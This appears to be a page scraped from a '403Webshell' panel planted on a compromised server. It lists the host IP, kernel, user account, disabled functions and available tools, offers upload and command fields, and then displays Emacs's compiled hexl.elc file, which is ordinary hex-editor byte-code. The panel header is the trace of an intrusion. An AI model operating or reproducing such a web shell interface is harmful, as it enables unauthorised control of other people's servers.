403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/hexl.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



(byte-code "\300\301!\210\302\303\304\305\306\307%\210\310\311\312\313\314DD\315\316\317\320\321&\210\310\322\312\313\323DD\324\316\325%\210\310\326\312\313\327DD\330\316\325%\210\310\331\312\313\332DD\333\316\325%\210\310\334\312\313\335DD\336\316\337\320\340&\210\310\341\312\313\342DD\343\316\344\345\346&\210\347\350\351\352#\210\347\353\354\355#\207" [require eldoc custom-declare-group hexl nil "Edit a file in a hex dump format using the hexl filter." :group data custom-declare-variable hexl-bits funcall function #[0 "\300\207" [16] 1 #1=""] "The bit grouping that hexl will use." :type (choice (const 8) (const 16) (const 32) (const 64)) :version "24.3" hexl-program #[0 "\300\207" ["hexl"] 1 #1#] "The program that will hexlify and dehexlify its stdin.\n`hexl-program' will always be concatenated with `hexl-options'\nand \"-de\" when dehexlifying a buffer." string hexl-iso #[0 "\300\207" [#1#] 1 #1#] "If your Emacs can handle ISO characters, this should be set to\n\"-iso\" otherwise it should be \"\"." hexl-options #[0 "\301\302\"\207" [hexl-iso format "-hex %s"] 3 #1#] "Space separated options to `hexl-program' that suit your needs.\nQuoting cannot be used, so the arguments cannot themselves contain spaces.\nIf you wish to set the `-group-by-X-bits' options, set `hexl-bits' instead,\nas that will override any bit grouping options set here." hexl-follow-ascii #[0 "\300\207" [t] 1 #1#] "If non-nil then highlight the ASCII character corresponding to point." boolean "20.3" hexl-mode-hook #[0 "\300\207" [(hexl-follow-line hexl-activate-ruler)] 1 #1#] "Normal hook run when entering Hexl mode." hook :options (hexl-follow-line hexl-activate-ruler eldoc-mode) custom-declare-face hexl-address-region ((t (:inherit header-line))) "Face used in address area of Hexl mode buffer." hexl-ascii-region ((((class color grayscale) (background light)) :background "grey90" :foreground "grey20" :box nil) (((class color grayscale) (background dark)) :background "grey20" :foreground "grey90" :box nil)) "Face used in ASCII area of Hexl mode buffer."] 8)
#@34 Maximum offset into hexl buffer.
(defvar hexl-max-address 0 (#$ . 2152))
(make-variable-buffer-local 'hexl-max-address)
(defvar hexl-mode-map (byte-code "\302 \303\304\305#\210\303\306\305#\210\303\307\310#\210\303\311\312#\210\303\313\314#\210\303\315\316#\210\303\317\320#\210\303\321\320#\210\303\322\323#\210\303\324\323#\210\303\325\326#\210\303\327\330#\210\303\331\332#\210\303\333\334#\210\303\335\336#\210\303\337\340#\210\303\341\342#\210\303\343\342#\210\303\344\342#\210\303\345\342#\210\303\346\342#\210\303\347\332#\210\303\350\310#\210\303\351\342#\210\303\352\334#\210\303\353\312#\210\354\355!!\356>\204\260\303\355!\342#\210\303\357\342#\210\303\360\316#\210\303\361\342#\210\303\362\314#\210\303\363\364#\210\303\365\342#\210\303\366\326#\210\303\367\342#\210\303\370\342#\210\371\372\373!M\210\303\374\371#\210\303\375\376#\210\303\377\320#\210\303\201@\201A#\210\303\201B\201C#\210\303\201D\323#\210\303\201E\342#\210\303\201F\342#\210\303\201G\342#\210\303\201H\201I#\210\303\201J\342#\210\303\201K\342#\210\303\201L\201M#\210\303\201N\201O#\210\303\201P\342#\210\303\201Q\342#\210\303\201R\201S#\210\303\201T\201U#\210\303\201V\342#\210\303\201W\201X#\210\303\201Y\342#\210\303\201Z\342#\210\303\201[\342#\210\303\201\\\342#\210\303\201]\342#\210\303\201^\342#\210\303\201_\330#\210\303\201`\342#\210\303\201a\342#\210\303\201b\336#\210\303\201c\340#\210\201d\372	!M\210\303\201e\201d#\210\303\201f\201g#\210\201h\372\201i!M\210\303\201j\201h#\210\303\201k\201l#\210\303\201m\201n#\210\303\201o\342#\210\303\201p\201q#\210\303\201r\342#\210\207" [help-char mode-specific-map make-keymap define-key [remap self-insert-command] hexl-self-insert-command "
" [left] hexl-backward-char [right] hexl-forward-char [up] hexl-previous-line [down] hexl-next-line [M-left] hexl-backward-short [27 left] [M-right] hexl-forward-short [27 right] [next] hexl-scroll-up [prior] hexl-scroll-down [home] hexl-beginning-of-line [end] hexl-end-of-line [C-home] hexl-beginning-of-buffer [C-end] hexl-end-of-buffer [deletechar] undefined [deleteline] [insertline] [S-delete] "" "" "" "" "" "" key-binding char-to-string (help-command ehelp-command) "" "" "" "" "" hexl-quoted-insert "" "" "" "" hexl-ESC-prefix copy-keymap ESC-prefix "" "" hexl-beginning-of-512b-page "" "" hexl-insert-decimal-char "" hexl-end-of-512b-page "" "	" "\n" "" "" hexl-insert-octal-char "" "" "" hexl-insert-hex-char "b" hexl-backward-word "c" "d" "f" hexl-forward-word "g" hexl-goto-hex-address "i" "j" hexl-goto-address "k" "l" "q" "s" "t" "u" "v" "y" "z" "<" ">" hexl-C-c-prefix "" "" hexl-mode-exit hexl-C-x-prefix Control-X-prefix "" "[" hexl-beginning-of-1k-page "]" hexl-end-of-1k-page "" "" hexl-save-buffer ""] 5))
(defvar hexl-mode--old-var-vals nil nil)
(make-variable-buffer-local 'hexl-mode--old-var-vals)
#@73 Overlay used to highlight ASCII element corresponding to current point.
(defvar hexl-ascii-overlay nil (#$ . 5155))
(make-variable-buffer-local 'hexl-ascii-overlay)
#@41 Font lock keywords used in `hexl-mode'.
(defvar hexl-font-lock-keywords '(("^\\([0-9a-f]+:\\)\\( \\).\\{39\\}\\(  \\)\\(.+$\\)" (1 'hexl-address-region t t) (2 '(face nil display (space :align-to 10))) (3 '(face nil display (space :align-to 51))) (4 'hexl-ascii-region t t))) (#$ . 5326))
#@20 

(fn STRING BITS)
(defalias 'hexl-rulerize #[514 "\211\300\245G\301\302W\203\"\211\303\211\\OQ\262\\\262\202\211\304\305O\207" [4 0 "" " " 1 nil] 12 (#$ . 5621)])
(defvar hexl-rulers (mapcar #[257 "\211\300\301\302\"\303QB\207" [" 87654321  " hexl-rulerize "00112233445566778899aabbccddeeff" "  0123456789abcdef"] 6 "\n\n(fn BITS)"] '(8 16 32 64)))
(put 'hexl-mode 'mode-class 'special)
#@62 The length of a hexl display line (varies with `hexl-bits').
(defalias 'hexl-line-displen #[0 "\301\302\206\303\245\\\207" [hexl-bits 60 128 16] 3 (#$ . 6031)])
#@3904 \<hexl-mode-map>A mode for editing binary files in hex dump format.
This is not an ordinary major mode; it alters some aspects
of the current mode's behavior, but not all; also, you can exit
Hexl mode and return to the previous mode using `hexl-mode-exit'.

This function automatically converts a buffer into the hexl format
using the function `hexlify-buffer'.

Each line in the buffer has an "address" (displayed in hexadecimal)
representing the offset into the file that the characters on this line
are at and 16 characters from the file (displayed as hexadecimal
values grouped every `hexl-bits' bits, and as their ASCII values).

If any of the characters (displayed as ASCII characters) are
unprintable (control or meta characters) they will be replaced by
periods.

If `hexl-mode' is invoked with an argument the buffer is assumed to be
in hexl format.

A sample format:

  HEX ADDR: 0011 2233 4455 6677 8899 aabb ccdd eeff     ASCII-TEXT
  --------  ---- ---- ---- ---- ---- ---- ---- ----  ----------------
  00000000: 5468 6973 2069 7320 6865 786c 2d6d 6f64  This is hexl-mod
  00000010: 652e 2020 4561 6368 206c 696e 6520 7265  e.  Each line re
  00000020: 7072 6573 656e 7473 2031 3620 6279 7465  presents 16 byte
  00000030: 7320 6173 2068 6578 6164 6563 696d 616c  s as hexadecimal
  00000040: 2041 5343 4949 0a61 6e64 2070 7269 6e74   ASCII.and print
  00000050: 6162 6c65 2041 5343 4949 2063 6861 7261  able ASCII chara
  00000060: 6374 6572 732e 2020 416e 7920 636f 6e74  cters.  Any cont
  00000070: 726f 6c20 6f72 206e 6f6e 2d41 5343 4949  rol or non-ASCII
  00000080: 2063 6861 7261 6374 6572 730a 6172 6520   characters.are
  00000090: 6469 7370 6c61 7965 6420 6173 2070 6572  displayed as per
  000000a0: 696f 6473 2069 6e20 7468 6520 7072 696e  iods in the prin
  000000b0: 7461 626c 6520 6368 6172 6163 7465 7220  table character
  000000c0: 7265 6769 6f6e 2e0a                      region..

Movement is as simple as movement in a normal Emacs text buffer.
Most cursor movement bindings are the same: use \[hexl-backward-char], \[hexl-forward-char], \[hexl-next-line], and \[hexl-previous-line]
to move the cursor left, right, down, and up.

Advanced cursor movement commands (ala \[hexl-beginning-of-line], \[hexl-end-of-line], \[hexl-beginning-of-buffer], and \[hexl-end-of-buffer]) are
also supported.

There are several ways to change text in hexl mode:

Self-inserting characters are bound to `hexl-self-insert' so you
can simply type the character and it will insert itself (actually
overstrike) into the buffer.  However, inserting non-ASCII characters
requires caution: the buffer's coding-system should correspond to
the encoding on disk, and multibyte characters should be inserted
with cursor on the first byte of a multibyte sequence whose length
is identical to the length of the multibyte sequence to be inserted,
otherwise this could produce invalid multibyte sequences.  Non-ASCII
characters in ISO-2022 encodings should preferably inserted byte by
byte, to avoid problems caused by the designation sequences before
the actual characters.

\[hexl-quoted-insert] followed by another keystroke allows you to insert the key even if
it isn't bound to self-insert.  An octal number can be supplied in place
of another key to insert the octal number's ASCII representation.

\[hexl-insert-hex-char] will insert a given hexadecimal value
into the buffer at the current address.

\[hexl-insert-octal-char] will insert a given octal value
into the buffer at the current address.

\[hexl-insert-decimal-char] will insert a given decimal value
into the buffer at the current address..

\[hexl-mode-exit] will exit `hexl-mode'.

Note: saving the file with any of the usual Emacs commands
will actually convert it back to binary format while saving.

You can use \[hexl-find-file] to visit a file in Hexl mode.

\[describe-bindings] for advanced commands.

(fn &optional ARG)
(defalias 'hexl-mode #[256 "\306=\204\225\307 \310\311`\312\"\313>\203\314 \210\315!\210\316 S\317 \245\320_\321\\\32213\323!0\210\2024\210)\266\n\324 \210\325!\210\326\304!\210\327\326\305!\210\330\326\300!\210\306\331\332\333\334\310$\210\326\335!\210\334\326\336!\210\337\326\340!\210\341 \326\342!\210\343\"\331\344\345\334\310$\210\331\346\347\334\310$\210\350\351!\210\352\353\354\"\2101\203\225\355\356!\210\357\360!\207" [major-mode inhibit-read-only hexl-max-address hexl-mode-map mode-name isearch-search-fun-function hexl-mode buffer-modified-p t bufferpos-to-filepos exact (1 nil) hexlify-buffer restore-buffer-modified-p buffer-size hexl-line-displen 16 15 (error) hexl-goto-address major-mode-suspend use-local-map make-local-variable "Hexl" hexl-isearch-search-function add-hook write-contents-functions hexl-save-buffer nil require-final-newline font-lock-defaults (hexl-font-lock-keywords t) font-lock-extra-managed-props (display) revert-buffer-function hexl-revert-buffer-function change-major-mode-hook hexl-maybe-dehexlify-buffer eldoc-documentation-functions hexl-print-current-point-info eldoc-add-command-completions "hexl-" eldoc-remove-command "hexl-save-buffer" "hexl-current-address" hexl-follow-ascii-mode 1 run-mode-hooks hexl-mode-hook hexl-follow-ascii] 6 (#$ . 6203) "p"])
(defalias 'hexl-isearch-search-function #[0 "\204\n	\204\n\302\207\303 \207" [isearch-regexp isearch-regexp-function #[1025 "\203\301\202	\302G\303V\203\304!\202\305\306\307#\310\311\"\2033\211\312\305\304\313\n\314\"\315#Q\2024\211\262$\207" [isearch-forward re-search-forward re-search-backward 80 regexp-quote mapconcat #[257 "\300\301!!\207" [regexp-quote string] 4 "\n\n(fn C)"] "\\(?:\n\\(?:[:a-f0-9]+ \\)+ \\)?" string-match "\\` ?\\([a-f0-9]+ \\)*[a-f0-9]+ ?\\'" "\\|" split-string " " " \\(?: .+\n[a-f0-9]+: \\)?"] 13 "\n\n(fn STRING &optional BOUND NOERROR COUNT)"] isearch-search-fun-default] 1])
(defvar hexl-in-save-buffer nil)
#@66 Save a hexl format buffer as binary in visited file if modified.
(defalias 'hexl-save-buffer #[0 "?\205I\301\302 \203A\303\304!\305 ed\306rq\210\307#\210q\210\310 \210\311\312 \210)\302 \262ed|\210\307#\210\313!\210)\266\204\202F\314\315!\210\306!\210\311\207" [hexl-in-save-buffer restore-buffer-modified-p buffer-modified-p generate-new-buffer " hexl" buffer-name nil insert-buffer-substring dehexlify-buffer t save-buffer kill-buffer message "(No changes need to be saved)"] 10 (#$ . 12110) nil])
#@290 Edit file FILENAME as a binary file in hex dump format.
Switch to a buffer visiting file FILENAME, creating one if none exists,
and edit the file in `hexl-mode'.  The buffer's coding-system will be
no-conversion, unlike if you visit it normally and then invoke `hexl-mode'.

(fn FILENAME)
(defalias 'hexl-find-file #[257 "\301\300!\302\303\"\216\304\300\305\"\210\306!\210)\210\307=?\205\307 \207" [major-mode default-value make-closure #[0 "\301\302\300\"\207" [V0 set-default major-mode] 3] set-default fundamental-mode find-file-literally hexl-mode] 5 (#$ . 12632) (byte-code "\301\302\303\301\211\304$)C\207" [completion-ignored-extensions nil read-file-name "Filename: " ret-must-match] 5)])
#@30 

(fn IGNORE-AUTO NOCONFIRM)
(defalias 'hexl-revert-buffer-function #[514 "\303\304\305\304\211\306#\210\307\310\311\306#\210\307\312\313\306#\210\314\315 *\207" [revert-buffer-function coding-system-for-read major-mode no-conversion nil revert-buffer t remove-hook change-major-mode-hook hexl-maybe-dehexlify-buffer eldoc-documentation-functions hexl-print-current-point-info fundamental-mode hexl-mode] 6 (#$ . 13341)])
#@99 Exit Hexl mode, returning to previous mode.
With arg, don't unhexlify buffer.

(fn &optional ARG)
(defalias 'hexl-mode-exit #[256 "\211\301=\204\n\211\204'\302 \303\304 \305 \210\306\307\310\303#\210\311!\210\312\313\"b\210)\266\306\314\315\303#\210\316 \207" [inhibit-read-only 1 buffer-modified-p t hexl-current-address dehexlify-buffer remove-hook write-contents-functions hexl-save-buffer restore-buffer-modified-p filepos-to-bufferpos exact change-major-mode-hook hexl-maybe-dehexlify-buffer major-mode-restore] 8 (#$ . 13772) "p"])
#@72 Convert a hexl format buffer to binary.
Ask the user for confirmation.
(defalias 'hexl-maybe-dehexlify-buffer #[0 "\301\302!\205\"\303 \304\305 \306 \210\307\310\311\304#\210\312!\210\313\314\"b)\266\203\207" [inhibit-read-only y-or-n-p "Convert contents back to binary format? " buffer-modified-p t hexl-current-address dehexlify-buffer remove-hook write-contents-functions hexl-save-buffer restore-buffer-modified-p filepos-to-bufferpos exact] 7 (#$ . 14323)])
#@55 Return current hexl-address.

(fn &optional VALIDATE)
(defalias 'hexl-current-address #[256 "`eZT\301 \246\302Z\303\303W\203\203\304\305!\210\202\303\262`eZT\301 \245\306_\307 \310ZY\2039\307 \310ZZ\202C\211\311\245T\245Z\312\245\\\262\313\314!\203R\315\316\211#\210\207" [hexl-bits hexl-line-displen 11 0 error "Point is not on a character in the file" 16 hexl-ascii-start-column 10 4 2 called-interactively-p interactive message "Current address is %d/0x%08x"] 8 (#$ . 14797) nil])
#@116 Return current hexl-address in string.
This function is intended to be used as eldoc callback.

(fn &rest IGNORED)
(defalias 'hexl-print-current-point-info #[128 "\300 \301\302\211#\207" [hexl-current-address format "Current address is %d/0x%08x"] 6 (#$ . 15306)])
#@63 Column at which the ASCII portion of the hexl display starts.
(defalias 'hexl-ascii-start-column #[0 "\301\302\245\\\207" [hexl-bits 43 128] 3 (#$ . 15578)])
#@51 Return buffer position for ADDRESS.

(fn ADDRESS)
(defalias 'hexl-address-to-marker #[257 "\211\301\246\302_\303\301\245\304 _\305e\211\306\245\245\\$\207" [hexl-bits 16 2 + hexl-line-displen 10 4] 10 (#$ . 15743) "nAddress: "])
#@101 Go to `hexl-mode' (decimal) address ADDRESS.
Signal error if ADDRESS is out of range.

(fn ADDRESS)
(defalias 'hexl-goto-address #[257 "\211\301W\204\f\211V\203\302\303!\210\304!b\207" [hexl-max-address 0 error "Out of hexl region" hexl-address-to-marker] 3 (#$ . 15982) "nAddress: "])
#@114 Go to Hexl mode address (hex string) HEX-ADDRESS.
Signal error if HEX-ADDRESS is out of range.

(fn HEX-ADDRESS)
(defalias 'hexl-goto-hex-address #[257 "\300\301!!\207" [hexl-goto-address hexl-hex-string-to-integer] 4 (#$ . 16280) "sHex Address: "])
#@57 Return decimal integer for HEX-STRING.

(fn HEX-STRING)
(defalias 'hexl-hex-string-to-integer #[257 "\300\301\232\204\211\302_\303\304!!\\\262\305\306O\262\202\207" [0 "" 16 hexl-hex-char-to-integer string-to-char 1 nil] 6 (#$ . 16537) "sHex number: "])
#@61 Return decimal integer for OCTAL-STRING.

(fn OCTAL-STRING)
(defalias 'hexl-octal-string-to-integer #[257 "\300\301\232\204\211\302_\303\304!!\\\262\305\306O\262\202\207" [0 "" 8 hexl-oct-char-to-integer string-to-char 1 nil] 6 (#$ . 16806) "sOctal number: "])
#@72 Move to left ARG bytes (right if ARG negative) in Hexl mode.

(fn ARG)
(defalias 'hexl-backward-char #[257 "\300\301 Z!\207" [hexl-goto-address hexl-current-address] 4 (#$ . 17082) "p"])
#@72 Move to right ARG bytes (left if ARG negative) in Hexl mode.

(fn ARG)
(defalias 'hexl-forward-char #[257 "\300\301 \\!\207" [hexl-goto-address hexl-current-address] 4 (#$ . 17276) "p"])
#@73 Move to left ARG shorts (right if ARG negative) in Hexl mode.

(fn ARG)
(defalias 'hexl-backward-short #[257 "\301\302 \303W\203T[\262\303V\203=\211V\203!\304\305!\210\2024\211\306\307\"\232\2030\211\310\\\2024\306\307\"\262S\262\202
\211V\203K\304\305!\210\202O\306\307\"\262\202\205\303V\203\205\211\311\312\"\232\204l\311\312\"\262\202~\211\303=\204z\211\310Z\262\202~\304\313!\210S\262\202T\211\262!\207" [hexl-max-address hexl-goto-address hexl-current-address 0 message "End of buffer." logior 3 4 logand -4 "Beginning of buffer."] 7 (#$ . 17470) "p"])
#@73 Move to right ARG shorts (left if ARG negative) in Hexl mode.

(fn ARG)
(defalias 'hexl-forward-short #[257 "\300[!\207" [hexl-backward-short] 3 (#$ . 18074) "p"])
#@72 Move to left ARG words (right if ARG negative) in Hexl mode.

(fn ARG)
(defalias 'hexl-backward-word #[257 "\301\302 \303W\203T[\262\303V\203=\211V\203!\304\305!\210\2024\211\306\307\"\232\2030\211\310\\\2024\306\307\"\262S\262\202
\211V\203K\304\305!\210\202O\306\307\"\262\202\205\303V\203\205\211\311\312\"\232\204l\311\312\"\262\202~\211\303=\204z\211\310Z\262\202~\304\313!\210S\262\202T\211\262!\207" [hexl-max-address hexl-goto-address hexl-current-address 0 message "End of buffer." logior 7 8 logand -8 "Beginning of buffer."] 7 (#$ . 18245) "p"])
#@72 Move to right ARG words (left if ARG negative) in Hexl mode.

(fn ARG)
(defalias 'hexl-forward-word #[257 "\300[!\207" [hexl-backward-word] 3 (#$ . 18847) "p"])
#@166 Move vertically up ARG lines [16 bytes] (down if ARG negative) in Hexl mode.
If there is no byte at the target address move to the last byte in that line.

(fn ARG)
(defalias 'hexl-previous-line #[257 "\300[!\207" [hexl-next-line] 3 (#$ . 19016) "p"])
#@166 Move vertically down ARG lines [16 bytes] (up if ARG negative) in Hexl mode.
If there is no byte at the target address move to the last byte in that line.

(fn ARG)
(defalias 'hexl-next-line #[257 "\301\302 \303_\\\304W\203 \211\304W\203 \305\306!\210\302 \303\246\262\202K\211V\2036\303\246\303\246W\2036\262\202K\211V\203K\305\306!\210\307\310\"\302 \303\246\\\262\211\262!\207" [hexl-max-address hexl-goto-address hexl-current-address 16 0 message "Out of hexl region." logand -16] 6 (#$ . 19276) "p"])
#@168 Move to the beginning of the hexl buffer.
Leaves `hexl-mark' at previous position.
With prefix arg N, puts point N bytes of the way from the true beginning.

(fn ARG)
(defalias 'hexl-beginning-of-buffer #[257 "\300 \210\301S\302_!\207" [push-mark hexl-goto-address 1] 4 (#$ . 19808) "p"])
#@47 Go to `hexl-max-address' minus ARG.

(fn ARG)
(defalias 'hexl-end-of-buffer #[257 "\301 \210\302SZ!\207" [hexl-max-address push-mark hexl-goto-address] 4 (#$ . 20104) "p"])
#@38 Goto beginning of line in Hexl mode.
(defalias 'hexl-beginning-of-line #[0 "`\300 \245\300 _\301\\b\207" [hexl-line-displen 11] 2 (#$ . 20285) nil])
#@32 Goto end of line in Hexl mode.
(defalias 'hexl-end-of-line #[0 "\301\302\303 \304\"^!\207" [hexl-max-address hexl-goto-address logior hexl-current-address 15] 5 (#$ . 20440) nil])
#@86 Scroll hexl buffer window upward ARG lines; or near full window if no ARG.

(fn ARG)
(defalias 'hexl-scroll-down #[257 "\211\204\302\303 \304\203\304\202\305	$\202\306!\262\307[!\207" [ruler-mode next-screen-context-lines - window-height 1 0 prefix-numeric-value hexl-scroll-up] 6 (#$ . 20627) "P"])
#@160 Scroll hexl buffer window upward ARG lines; or near full window if no ARG.
If there's no byte at the target address, move to the first or last line.

(fn ARG)
(defalias 'hexl-scroll-up #[257 "\211\204\303\304 \305\203\305\202\306	$\202\307!\262\211\310_\311 \211\\\211\nV\203@\n\310\246\310\246Y\203@\312\n\313\"\310\246\\\262\202W\211\nV\203L\n\262\202W\211\306W\203W\310\246\262\211\\U\204c\314\315!\210\316!\210\317\306!\207" [ruler-mode next-screen-context-lines hexl-max-address - window-height 1 0 prefix-numeric-value 16 hexl-current-address logand -16 message "Out of hexl region." hexl-goto-address recenter] 7 (#$ . 20946) "P"])
#@34 Go to beginning of 1KB boundary.
(defalias 'hexl-beginning-of-1k-page #[0 "\300\301\302 \303\"!\207" [hexl-goto-address logand hexl-current-address -1024] 4 (#$ . 21619) nil])
#@28 Go to end of 1KB boundary.
(defalias 'hexl-end-of-1k-page #[0 "\301\302\303 \304\"^!\207" [hexl-max-address hexl-goto-address logior hexl-current-address 1023] 5 (#$ . 21801) nil])
#@39 Go to beginning of 512 byte boundary.
(defalias 'hexl-beginning-of-512b-page #[0 "\300\301\302 \303\"!\207" [hexl-goto-address logand hexl-current-address -512] 4 (#$ . 21989) nil])
#@33 Go to end of 512 byte boundary.
(defalias 'hexl-end-of-512b-page #[0 "\301\302\303 \304\"^!\207" [hexl-max-address hexl-goto-address logior hexl-current-address 511] 5 (#$ . 22177) nil])
#@215 Read next input character and insert it.
Useful for inserting control characters and non-ASCII characters given their
numerical code.
You may also type octal digits, to insert a character with that code.

(fn ARG)
(defalias 'hexl-quoted-insert #[257 "\300\301 \"\207" [hexl-insert-multibyte-char read-quoted-char] 4 (#$ . 22372) "p"])
#@162 Combine `hexl-bits' with `hexl-options', altering `hexl-options' as needed
to produce the command line options to pass to the hexl command.

(fn &optional TEST)
(defalias 'hexl-options #[256 "\211\206	\302>\203$\303\304\"\203\305\306\"\305\307\"P\262\310\311	#\262\207" [hexl-options hexl-bits (8 16 32 64) string-match "\\(.*\\)-group-by-[0-9]+-bits\\(.*\\)" match-string 1 2 format "%s -group-by-%d-bits "] 6 (#$ . 22715)])
#@86 Convert a binary buffer to hexl format.
This discards the buffer's undo information.
(defalias 'hexlify-buffer #[0 ":\203\306\307!\204\310\311!\203\312\313	\314\315\316ed\317\f
\"\314\211\312\320\321\322\323 !\"&\210`\324!V\205;\325!+\207" [buffer-undo-list buffer-file-coding-system coding-system-for-write coding-system-for-read hexl-program exec-directory y-or-n-p "Converting to hexl format discards undo info; ok? " error "Aborted" nil raw-text t apply call-process-region expand-file-name mapcar #[257 "\301!\204\207\302\"\207" [locale-coding-system multibyte-string-p encode-coding-string] 4 "\n\n(fn S)"] split-string hexl-options hexl-address-to-marker hexl-goto-address hexl-max-address] 12 (#$ . 23159) nil])
#@86 Convert a hexl format buffer to binary.
This discards the buffer's undo information.
(defalias 'dehexlify-buffer #[0 ":\203\306\307!\204\310\311!\203\312\313	\314\315\316ed\317\f
\"\314\211\312\320\321\322 !&	+\207" [buffer-undo-list buffer-file-coding-system coding-system-for-read coding-system-for-write hexl-program exec-directory y-or-n-p "Converting from hexl format discards undo info; ok? " error "Aborted" nil raw-text t apply call-process-region expand-file-name "-de" split-string hexl-options] 11 (#$ . 23907) nil])
#@44 Return char for ASCII hex digits at point.
(defalias 'hexl-char-after-point #[0 "\300`f`Tf\"\207" [hexl-htoi] 3 (#$ . 24452)])
#@49 Hex (char) LH (char) RH to integer.

(fn LH RH)
(defalias 'hexl-htoi #[514 "\300!\301_\300!\\\207" [hexl-hex-char-to-integer 16] 5 (#$ . 24585)])
#@76 Take a char and return its value as if it was a hex digit.

(fn CHARACTER)
(defalias 'hexl-hex-char-to-integer #[257 "\211\300Y\203\211\301X\203\211\300Z\207\302\303\"\211\304Y\203$\211\305X\203$\211\306Z\207\307\310\"\207" [48 57 logior 32 97 102 87 error "Invalid hex digit `%c'"] 5 (#$ . 24739)])
#@79 Take a char and return its value as if it was an octal digit.

(fn CHARACTER)
(defalias 'hexl-oct-char-to-integer #[257 "\211\300Y\203\211\301X\203\211\300Z\207\302\303\"\207" [48 55 error "Invalid octal digit `%c'"] 4 (#$ . 25053)])
#@56 Return a displayable string for character CH.

(fn CH)
(defalias 'hexl-printable-character #[257 "\301\302\303\232\203\304W\204\305Y\203\306\2023\2023\304W\204.\305Y\2032\307W\2032\306\2023\"\207" [hexl-iso format "%c" "" 32 127 46 160] 5 (#$ . 25298)])
#@816 Insert a possibly multibyte character CH NUM times.

Non-ASCII characters are first encoded with `buffer-file-coding-system',
and their encoded form is inserted byte by byte.  Note that if the
hexl buffer was produced by `hexl-find-file', its coding-system
is no-conversion.

Inserting non-ASCII characters requires caution: the buffer's
coding-system should correspond to the encoding on disk, and
multibyte characters should be inserted with cursor on the first
byte of a multibyte sequence whose length is identical to the
length of the multibyte sequence to be inserted, otherwise this
could produce invalid multibyte sequences.  Non-ASCII characters
in ISO-2022 encodings should preferably inserted byte by byte, to
avoid problems caused by the designation sequences before the
actual characters.

(fn CH NUM)
(defalias 'hexl-insert-multibyte-char #[514 "\301!\203\302!\303=\203\304\300!\202\305Y\203.\306W\203.\307\310\"\203.\311\"\207\312=\2039\313\314\"\207\315\"\316!\317\204l\320\321\"\262\322\323\324#\262\325\326\327	#!\203c\262\202l\313\330\331\332!#\210\305V\205~\333\334\"\210S\262\202l\207" [buffer-file-coding-system char-charset coding-system-type t default-value 0 256 coding-system-get :ascii-compatible-p hexl-insert-char unknown error "0x%x -- invalid character code; use \\[hexl-insert-hex-string]" encode-coding-char char-to-string nil encode-coding-string utf-8-emacs mapconcat #[257 "\300\301\"\207" [format "%x"] 4 "\n\n(fn C)"] " " yes-or-no-p format-message "Insert char 0x%x's internal representation \"%s\"? " "Can't encode `0x%x' with this buffer's coding system; %s" substitute-command-keys "try \\[hexl-insert-hex-string]" mapc #[257 "\300\301\"\207" [hexl-insert-char 1] 4 "\n\n(fn C)"]] 12 (#$ . 25579)])
#@863 Insert this character.
Interactively, with a numeric argument, insert this character that many times.

Non-ASCII characters are first encoded with `buffer-file-coding-system',
and their encoded form is inserted byte by byte.  Note that if the
hexl buffer was produced by `hexl-find-file', its coding-system
is no-conversion.

Inserting non-ASCII characters requires caution: the buffer's
coding-system should correspond to the encoding on disk, and
multibyte characters should be inserted with cursor on the first
byte of a multibyte sequence whose length is identical to the
length of the multibyte sequence to be inserted, otherwise this
could produce invalid multibyte sequences.  Non-ASCII characters
in ISO-2022 encodings should preferably inserted byte by byte, to
avoid problems caused by the designation sequences before the
actual characters.

(fn ARG)
(defalias 'hexl-self-insert-command #[257 "\301\"\207" [last-command-event hexl-insert-multibyte-char] 4 (#$ . 27373) "p"])
#@132 Insert the character CH NUM times in a hexl buffer.

CH must be a unibyte character whose value is between 0 and 255.

(fn CH NUM)
(defalias 'hexl-insert-char #[514 "\301W\204\f\302V\203\303\304\"\210\305\306!\301V\205w\307!\310\311\245\312 _\313 e\311\246$\314`U\2035\306\262b\210\315\316!\210\317\320\"c\210b\210\315\321!\210\322!c\210U\204ZT\262\323!\210\211\203n\324 \210\313 u\210\311\246u\210\266S\262\202\207" [hexl-max-address 0 255 error "Invalid character 0x%x -- must be in the range [0..255]" hexl-current-address t hexl-address-to-marker + 16 hexl-line-displen hexl-ascii-start-column nil delete-char 2 format "%02x" 1 hexl-printable-character hexl-goto-address beginning-of-line] 10 (#$ . 28368)])
#@816 Insert a character given by its hexadecimal code ARG times at point.

Values above 0xFF are treated as multibyte characters, and first encoded
using `buffer-file-coding-system'.  Note that if the hexl buffer was
produced by `hexl-find-file', its coding-system is no-conversion.

Inserting non-ASCII characters requires caution: the buffer's
coding-system should correspond to the encoding on disk, and
multibyte characters should be inserted with cursor on the first
byte of a multibyte sequence whose length is identical to the
length of the multibyte sequence to be inserted, otherwise this
could produce invalid multibyte sequences.  Non-ASCII characters
in ISO-2022 encodings should preferably inserted byte by byte, to
avoid problems caused by the designation sequences before the
actual characters.

(fn ARG)
(defalias 'hexl-insert-hex-char #[257 "\300\301\302!!\211\303W\203\304\305!\207\306\"\207" [hexl-hex-string-to-integer read-string "Hex number: " 0 error "Hex number out of range" hexl-insert-multibyte-char] 5 (#$ . 29120) "p"])
#@133 Insert hexadecimal string STR at point ARG times.
Embedded whitespace, dashes, and periods in the string are ignored.

(fn STR ARG)
(defalias 'hexl-insert-hex-string #[514 "\300\301\302#\262\303G\304\305\306\"\306=\203!\307\304\306O!\211C\262\266\306\211W\203<\211\310\\\307O!\211B\262\266\203\202!\266\211\237\262\304V\205b\211\211\203Z\311@\306\"\210\211A\262\202I\210S\262\202B\207" [replace-regexp-in-string "[- 	.]" "" nil 0 logand 1 hexl-hex-string-to-integer 2 hexl-insert-char] 10 (#$ . 30175) "sHex string: \np"])
#@811 Insert a character given by its decimal code ARG times at point.

Values above 256 are treated as multibyte characters, and first encoded
using `buffer-file-coding-system'.  Note that if the hexl buffer was
produced by `hexl-find-file', its coding-system is no-conversion.

Inserting non-ASCII characters requires caution: the buffer's
coding-system should correspond to the encoding on disk, and
